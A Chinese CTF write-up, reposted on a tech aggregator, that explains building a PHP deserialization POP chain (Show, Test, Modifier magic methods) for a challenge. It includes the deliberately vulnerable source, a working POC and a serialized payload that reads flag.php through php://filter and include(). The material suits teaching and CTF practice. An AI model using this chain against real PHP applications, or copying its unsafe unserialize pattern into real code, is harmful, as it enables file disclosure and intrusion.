IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 一道构造pop链的反序列化题 -> 正文阅读

[PHP知识库]一道构造pop链的反序列化题

前言

最近在回顾php反序列化知识时遇到了一道题,感觉知识点挺多的,可以全面复习下反序列化。

源码

class Show{

    public $source;

    //public $str;

    public function __construct($file='index.php'){

        $this->source = $file;   

        // echo 'Welcome to '.$this->source."<br>";

    }

    public function __toString(){

        // return $this->str->source;
        echo 'you are success!'
        return 'yes';

    }

    public function __wakeup(){
        // echo $this->source;

        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

            echo "hacker";
            $this->source = 'index.php';

        }

    }
}

首先看一道从题目中抽离出来的简单考点,也是题目中的一个重点。在反序列化执行时,首先会触发__wakeup(),而我们的目的是要最终触发__toString(),要知道将对象当字符串调用时会触发此函数,例如echo '对象'、或者正则匹配preg_match('','对象')等。所以该题可以利用正则触发,只要将$this->source=new Show;
那么怎么实现呢?
poyload:

class Show{

    public $source;

    public function __construct($file='index.php'){

        $this->source = $file;  
    }
}
$a = new Show();

//形式一:调用source变量赋值
$a->source = new Show;
$c = serialize($a);
//形式二:以传参形式调用对象
$b = new Show($a);
$c = serialize($b);
//两种表达形式结果一样
echo urlencode($c);

其实最终就是将$this->source的值变成了Show对象,这样匹配的字符串就成了对象值,最后触发了
__toString()。通过调试发现if中的内容会直接跳过,并不会执行。
1
接下来看正题

<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='demo3.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "demo3.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

反序列化构造pop链可以考虑正向也可以逆向构造,正向一般是找反序列化触发点,但从触发点往下找比较复杂的情况一般是很难找的,做CTF时个人感觉逆向构造好一点,或者两种结合。比如先找能够RCE或者文件包含的点,然后顺藤摸瓜,找到触发点,而此题需要文件包含flag。

  • 在append函数中可以文件包含,所以这里尝试包含flag,但怎么调用append,顺藤摸瓜,看到__invoke()__invoke()当脚本尝试将对象调用为函数时触发,也就是如果一个函数中有$a();这种形式的,并且a变量可控,那么就可以传入一个__invoke()函数所在的实例化对象,由于返回值是以函数类型返回,导致__invoke()函数触发。
  • 那么继续往下找,在Test类中的__get()函数里正好会返回一个$function(),并且$p变量可控。因此只要将$p=new Modifier()就可以触发。但是__get()函数如何触发呢?
  • __get()是访问不存在的成员变量时调用的。例如实例化一个对象,然后调用了一个类中不存在的成员变量,则会触发__get()函数,知道如何触发,接下来寻找触发的点,我们看到这么一个函数,
    public function __toString(){
        return $this->str->source;
    }

如果$this->str=new Test;,那么它将调用一个该类中不存在的变量source,从而触发__get()函数。那么如何触发__toString()呢?是不是很熟悉,在本文开头已经讲过这个案例了。
所以来捋一捋pop链,

Show->__wakeup()->__toString()->Test
Test->__get()->Modifier
Modifier->__invoke()->append()->flag

整条链就是,

Show->__wakeup()(preg_match把Show对象当作字符串触发)->__toString()(使类中的str为Test对象,输出不存在的对象触发)->Test->__get()方法->Modifier->__invoke()(调用对象以函数的形式触发)->append()->include(文件包含,包含flag)

POC:

<?php

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    //读flag
}

class Show{

    public $source;
    public $str; 
    public function __construct($file='demo3.php'){
        $this->source = $file;  
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier;
    }
}
$a = new Show();
$a->str = new Test();
$b = new Show($a);
$c = serialize($b);
echo urlencode($c);

调试利用链
在这里插入图片描述
这里有个细节讲一下,大佬应该都知道,我之前很模糊,调试后才知道,序列化的数据在反序列化后执行顺序是由内而外的,意思是会先执行里面的Show对象,结束后再执行外面的Show对象,然后由于外部Show的参数source的值是Show对象,所以会将Show当作参数再调用一次。
如下:

O:4:“Show”:2:{s:6:“source”;
O:4:"Show":2:{s:6:"source";s:9:"demo3.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{S:6:"\00*\00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
s:3:“str”;N;}
红的这部分是外部Show对象的source的值,内部Show对象在执行时会优先执行,但是因为它source的值为demo3.php,所以会过不去preg匹配直接跳过,也不会触发任何函数然后结束,如下图
在这里插入图片描述
然后接着会反序列化执行外部Show,重新调用__wakeup,
在这里插入图片描述
这时参数已经为Show对象了,接下来就会将对象当作字符匹配从而调用__tostring()函数。不过这里是str=null,并不是之前的Test对象了,因此我们并未对外部Show的str参数赋值Test。没关系,往下看,
在这里插入图片描述
这时是不是已经看到取值是不是已经变为内部Show对象的两个变量取值了,因为在比较字符串时对象也执行了,而同时又触发了__toString()函数,所以可以看到这个结果。 下面继续执行就会通过创建Test对象调用一个不存在的source参数,触发__get()函数。
在这里插入图片描述
而变量p=new Modifier,所以对象当函数被调用触发了__invoke()函数
在这里插入图片描述
最终就调用了append函数达到了文件包含获取flag的目的。

参考文章:https://www.cnblogs.com/th0r/p/14152102.html#demo3
https://mayi077.gitee.io/2020/05/09/MRCTF2020-Ezpop/

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-08 20:21:33  更:2022-10-08 20:21:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 14:09:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码